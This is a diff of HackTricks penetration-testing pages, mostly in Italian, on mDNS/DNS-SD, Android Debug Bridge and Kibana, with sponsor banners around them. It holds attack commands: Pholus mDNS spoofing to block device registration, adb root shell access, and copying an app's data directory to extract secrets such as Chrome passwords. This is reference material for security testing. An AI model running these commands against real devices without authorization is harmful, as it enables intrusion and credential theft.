* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF**, controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,67 +1,67 @@
|
||||||
# 5353/UDP Multicast DNS (mDNS) e DNS-SD
|
# 5353/UDP Multicast DNS (mDNS) e DNS-SD
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## **Informazioni di base**
|
## **Informazioni di Base**
|
||||||
|
|
||||||
**Multicast DNS (mDNS)** consente operazioni **simili a DNS** all'interno delle reti locali senza la necessità di un server DNS tradizionale. Opera sulla porta **UDP 5353** e consente ai dispositivi di scoprirsi reciprocamente e ai loro servizi, comunemente presenti in vari dispositivi IoT. **DNS Service Discovery (DNS-SD)**, spesso utilizzato insieme a mDNS, aiuta nell'individuazione dei servizi disponibili sulla rete tramite query DNS standard.
|
**Multicast DNS (mDNS)** consente operazioni simili al **DNS** all'interno delle reti locali senza la necessità di un server DNS tradizionale. Funziona sulla **porta UDP 5353** e consente ai dispositivi di scoprire l'uno l'altro e i loro servizi, comunemente visto in vari dispositivi IoT. **DNS Service Discovery (DNS-SD)**, spesso utilizzato insieme a mDNS, aiuta a identificare i servizi disponibili sulla rete attraverso query DNS standard.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE
|
PORT STATE SERVICE
|
||||||
5353/udp open zeroconf
|
5353/udp open zeroconf
|
||||||
```
|
```
|
||||||
### **Funzionamento di mDNS**
|
### **Funzionamento di mDNS**
|
||||||
|
|
||||||
In ambienti senza un server DNS standard, mDNS consente ai dispositivi di risolvere i nomi di dominio che terminano con **.local** interrogando l'indirizzo multicast **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspetti importanti di mDNS includono un valore di **Time-to-Live (TTL)** che indica la validità del record e un bit **QU** che distingue tra query unicast e multicast. Per quanto riguarda la sicurezza, è fondamentale che le implementazioni di mDNS verifichino che l'indirizzo di origine del pacchetto sia allineato con la subnet locale.
|
In ambienti privi di un server DNS standard, mDNS consente ai dispositivi di risolvere nomi di dominio che terminano in **.local** interrogando l'indirizzo multicast **224.0.0.251** (IPv4) o **FF02::FB** (IPv6). Aspetti importanti di mDNS includono un valore di **Time-to-Live (TTL)** che indica la validità del record e un **bit QU** che distingue tra query unicast e multicast. Dal punto di vista della sicurezza, è fondamentale che le implementazioni di mDNS verifichino che l'indirizzo sorgente del pacchetto sia allineato con la subnet locale.
|
||||||
|
|
||||||
### **Funzionamento di DNS-SD**
|
### **Funzionamento di DNS-SD**
|
||||||
|
|
||||||
DNS-SD facilita la scoperta dei servizi di rete interrogando i record di puntatore (PTR) che mappano i tipi di servizio alle loro istanze. I servizi vengono identificati utilizzando un modello **_\<Servizio>.\_tcp o \_\<Servizio>.\_udp** all'interno del dominio **.local**, portando alla scoperta dei record **SRV** e **TXT** corrispondenti che forniscono informazioni dettagliate sul servizio.
|
DNS-SD facilita la scoperta dei servizi di rete interrogando i record puntatore (PTR) che mappano i tipi di servizio alle loro istanze. I servizi sono identificati utilizzando un modello **_\<Service>.\_tcp o \_\<Service>.\_udp** all'interno del dominio **.local**, portando alla scoperta dei corrispondenti **record SRV** e **TXT** che forniscono informazioni dettagliate sul servizio.
|
||||||
|
|
||||||
### **Esplorazione di rete**
|
### **Esplorazione della rete**
|
||||||
|
|
||||||
#### **Utilizzo di nmap**
|
#### **Uso di nmap**
|
||||||
|
|
||||||
Un comando utile per scansionare la rete locale alla ricerca di servizi mDNS è:
|
Un comando utile per scansionare la rete locale per i servizi mDNS è:
|
||||||
```bash
|
```bash
|
||||||
nmap -Pn -sUC -p5353 [target IP address]
|
nmap -Pn -sUC -p5353 [target IP address]
|
||||||
```
|
```
|
||||||
Questo comando aiuta a identificare le porte mDNS aperte e i servizi pubblicizzati su di esse.
|
Questo comando aiuta a identificare le porte mDNS aperte e i servizi pubblicizzati su di esse.
|
||||||
|
|
||||||
#### **Enumerazione di rete con Pholus**
|
#### **Enumerazione della rete con Pholus**
|
||||||
|
|
||||||
Per inviare attivamente richieste mDNS e catturare il traffico, lo strumento **Pholus** può essere utilizzato nel seguente modo:
|
Per inviare attivamente richieste mDNS e catturare il traffico, lo strumento **Pholus** può essere utilizzato come segue:
|
||||||
```bash
|
```bash
|
||||||
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
sudo python3 pholus3.py [network interface] -rq -stimeout 10
|
||||||
```
|
```
|
||||||
## Attacchi
|
## Attacks
|
||||||
|
|
||||||
### **Sfruttare il mDNS Probing**
|
### **Exploiting mDNS Probing**
|
||||||
|
|
||||||
Un vettore di attacco coinvolge l'invio di risposte contraffatte alle sonde mDNS, suggerendo che tutti i nomi potenziali sono già in uso, ostacolando così i nuovi dispositivi nella scelta di un nome univoco. Ciò può essere eseguito utilizzando:
|
Un vettore di attacco prevede l'invio di risposte falsificate ai probe mDNS, suggerendo che tutti i nomi potenziali siano già in uso, ostacolando così i nuovi dispositivi nella selezione di un nome unico. Questo può essere eseguito utilizzando:
|
||||||
```bash
|
```bash
|
||||||
sudo python pholus.py [network interface] -afre -stimeout 1000
|
sudo python pholus.py [network interface] -afre -stimeout 1000
|
||||||
```
|
```
|
||||||
Questa tecnica blocca efficacemente i nuovi dispositivi dal registrare i loro servizi sulla rete.
|
Questa tecnica blocca efficacemente nuovi dispositivi dal registrare i loro servizi sulla rete.
|
||||||
|
|
||||||
**In sintesi**, comprendere il funzionamento di mDNS e DNS-SD è cruciale per la gestione e la sicurezza della rete. Strumenti come **nmap** e **Pholus** offrono preziose informazioni sui servizi di rete locali, mentre la consapevolezza delle vulnerabilità potenziali aiuta a proteggersi dagli attacchi.
|
|
||||||
|
|
||||||
|
**In sintesi**, comprendere il funzionamento di mDNS e DNS-SD è cruciale per la gestione e la sicurezza della rete. Strumenti come **nmap** e **Pholus** offrono preziose informazioni sui servizi di rete locali, mentre la consapevolezza delle potenziali vulnerabilità aiuta a proteggere contro gli attacchi.
|
||||||
|
|
||||||
### Spoofing/MitM
|
### Spoofing/MitM
|
||||||
|
|
||||||
L'attacco più interessante che puoi effettuare su questo servizio è eseguire un **MitM** nella **comunicazione tra il client e il server reale**. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o addirittura credenziali (autenticazione di Windows).\
|
L'attacco più interessante che puoi eseguire su questo servizio è effettuare un **MitM** nella **comunicazione tra il client e il server reale**. Potresti essere in grado di ottenere file sensibili (MitM la comunicazione con la stampante) o anche credenziali (autenticazione Windows).\
|
||||||
Per ulteriori informazioni, consulta:
|
Per ulteriori informazioni, controlla:
|
||||||
|
|
||||||
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
{% content-ref url="../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
|
||||||
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||||
|
@ -71,16 +71,17 @@ Per ulteriori informazioni, consulta:
|
||||||
|
|
||||||
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
* [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://books.google.co.uk/books/about/Practical\_IoT\_Hacking.html?id=GbYEEAAAQBAJ\&redir\_esc=y)
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,69 +1,71 @@
|
||||||
# 5555 - Android Debug Bridge
|
# 5555 - Android Debug Bridge
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
## Informazioni di base
|
## Informazioni di base
|
||||||
|
|
||||||
Da [i documenti](https://developer.android.com/studio/command-line/adb):
|
Da [la documentazione](https://developer.android.com/studio/command-line/adb):
|
||||||
|
|
||||||
**Android Debug Bridge** (adb) è uno strumento versatile a riga di comando che consente di comunicare con un dispositivo. Il comando adb facilita una varietà di azioni sul dispositivo, come **installare e debuggare app**, e fornisce **accesso a una shell Unix** che puoi utilizzare per eseguire una varietà di comandi su un dispositivo.
|
**Android Debug Bridge** (adb) è uno strumento versatile da riga di comando che consente di comunicare con un dispositivo. Il comando adb facilita una varietà di azioni sul dispositivo, come **installare e fare debug delle app**, e fornisce **accesso a una shell Unix** che puoi utilizzare per eseguire una varietà di comandi su un dispositivo.
|
||||||
|
|
||||||
**Porta predefinita**: 5555.
|
**Porta predefinita**: 5555.
|
||||||
```
|
```
|
||||||
PORT STATE SERVICE VERSION
|
PORT STATE SERVICE VERSION
|
||||||
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
|
||||||
```
|
```
|
||||||
## Connetti
|
## Connect
|
||||||
|
|
||||||
Se trovi il servizio ADB in esecuzione su una porta di un dispositivo e riesci a connetterti ad esso, **puoi ottenere una shell all'interno del sistema:**
|
Se trovi il servizio ADB in esecuzione su una porta di un dispositivo e puoi connetterti ad esso, **puoi ottenere una shell all'interno del sistema:**
|
||||||
```bash
|
```bash
|
||||||
adb connect 10.10.10.10
|
adb connect 10.10.10.10
|
||||||
adb root # Try to escalate to root
|
adb root # Try to escalate to root
|
||||||
adb shell
|
adb shell
|
||||||
```
|
```
|
||||||
Per ulteriori comandi ADB, consulta la seguente pagina:
|
Per ulteriori comandi ADB, controlla la seguente pagina:
|
||||||
|
|
||||||
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
{% content-ref url="../mobile-pentesting/android-app-pentesting/adb-commands.md" %}
|
||||||
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
[adb-commands.md](../mobile-pentesting/android-app-pentesting/adb-commands.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
### Dump dei dati dell'app
|
### Dump App data
|
||||||
|
|
||||||
Per scaricare completamente i dati di un'applicazione, puoi:
|
Per scaricare completamente i dati di un'applicazione puoi:
|
||||||
```bash
|
```bash
|
||||||
# From a root console
|
# From a root console
|
||||||
chmod 777 /data/data/com.package
|
chmod 777 /data/data/com.package
|
||||||
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
|
||||||
adb pull "/sdcard/com.package"
|
adb pull "/sdcard/com.package"
|
||||||
```
|
```
|
||||||
Puoi utilizzare questo trucco per **recuperare informazioni sensibili come le password di Chrome**. Per ulteriori informazioni su questo argomento, consulta le informazioni e i riferimenti forniti [**qui**](https://github.com/carlospolop/hacktricks/issues/274).
|
Puoi usare questo trucco per **recuperare informazioni sensibili come le password di chrome**. Per ulteriori informazioni su questo, controlla le informazioni e i riferimenti forniti [**qui**](https://github.com/carlospolop/hacktricks/issues/274).
|
||||||
|
|
||||||
## Shodan
|
## Shodan
|
||||||
|
|
||||||
* `android debug bridge`
|
* `android debug bridge`
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Supporta HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in formato PDF**, consulta i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository GitHub di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
|
@ -1,53 +1,55 @@
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai repository** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) su GitHub.
|
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
# Informazioni di base
|
# Informazioni di Base
|
||||||
|
|
||||||
Kibana è conosciuto per la sua capacità di cercare e visualizzare dati all'interno di Elasticsearch, di solito in esecuzione sulla porta **5601**. Serve come interfaccia per le funzioni di monitoraggio, gestione e sicurezza del cluster Elastic Stack.
|
Kibana è conosciuto per la sua capacità di cercare e visualizzare dati all'interno di Elasticsearch, tipicamente in esecuzione sulla porta **5601**. Funziona come interfaccia per il monitoraggio, la gestione e le funzioni di sicurezza del cluster Elastic Stack.
|
||||||
|
|
||||||
## Comprensione dell'autenticazione
|
## Comprendere l'Autenticazione
|
||||||
|
|
||||||
Il processo di autenticazione in Kibana è intrinsecamente legato alle **credenziali utilizzate in Elasticsearch**. Se Elasticsearch ha l'autenticazione disabilitata, Kibana può essere accessibile senza alcuna credenziale. Al contrario, se Elasticsearch è protetto da credenziali, le stesse credenziali sono necessarie per accedere a Kibana, mantenendo le stesse autorizzazioni utente su entrambe le piattaforme. Le credenziali potrebbero essere trovate nel file **/etc/kibana/kibana.yml**. Se queste credenziali non si riferiscono all'utente **kibana_system**, potrebbero offrire diritti di accesso più ampi, poiché l'accesso dell'utente kibana_system è limitato alle API di monitoraggio e all'indice .kibana.
|
Il processo di autenticazione in Kibana è intrinsecamente legato alle **credenziali utilizzate in Elasticsearch**. Se l'autenticazione di Elasticsearch è disabilitata, Kibana può essere accessibile senza alcuna credenziale. Al contrario, se Elasticsearch è protetto da credenziali, le stesse credenziali sono necessarie per accedere a Kibana, mantenendo identiche le autorizzazioni degli utenti su entrambe le piattaforme. Le credenziali potrebbero trovarsi nel file **/etc/kibana/kibana.yml**. Se queste credenziali non appartengono all'utente **kibana_system**, potrebbero offrire diritti di accesso più ampi, poiché l'accesso dell'utente kibana_system è limitato alle API di monitoraggio e all'indice .kibana.
|
||||||
|
|
||||||
## Azioni dopo l'accesso
|
## Azioni Dopo l'Accesso
|
||||||
|
|
||||||
Una volta ottenuto l'accesso a Kibana, sono consigliabili diverse azioni:
|
Una volta che l'accesso a Kibana è garantito, sono consigliabili diverse azioni:
|
||||||
|
|
||||||
- Esplorare i dati da Elasticsearch dovrebbe essere una priorità.
|
- Esplorare i dati da Elasticsearch dovrebbe essere una priorità.
|
||||||
- La possibilità di gestire gli utenti, inclusa la modifica, la cancellazione o la creazione di nuovi utenti, ruoli o chiavi API, si trova in Stack Management -> Users/Roles/API Keys.
|
- La possibilità di gestire gli utenti, inclusa la modifica, la cancellazione o la creazione di nuovi utenti, ruoli o chiavi API, si trova sotto Gestione Stack -> Utenti/Ruoli/Chiavi API.
|
||||||
- È importante verificare la versione installata di Kibana per eventuali vulnerabilità conosciute, come la vulnerabilità RCE identificata nelle versioni precedenti alla 6.6.0 ([Maggiori informazioni](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
- È importante controllare la versione installata di Kibana per vulnerabilità note, come la vulnerabilità RCE identificata nelle versioni precedenti alla 6.6.0 ([Maggiori Info](https://insinuator.net/2021/01/pentesting-the-elk-stack/#ref2)).
|
||||||
|
|
||||||
## Considerazioni SSL/TLS
|
## Considerazioni su SSL/TLS
|
||||||
|
|
||||||
Nei casi in cui SSL/TLS non sia abilitato, è necessario valutare attentamente il potenziale rischio di divulgazione di informazioni sensibili.
|
In situazioni in cui SSL/TLS non è abilitato, il potenziale per la fuga di informazioni sensibili dovrebbe essere valutato attentamente.
|
||||||
|
|
||||||
## Riferimenti
|
## Riferimenti
|
||||||
|
|
||||||
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
* [https://insinuator.net/2021/01/pentesting-the-elk-stack/](https://insinuator.net/2021/01/pentesting-the-elk-stack/)
|
||||||
|
|
||||||
|
|
||||||
|
{% hint style="success" %}
|
||||||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
Altri modi per supportare HackTricks:
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
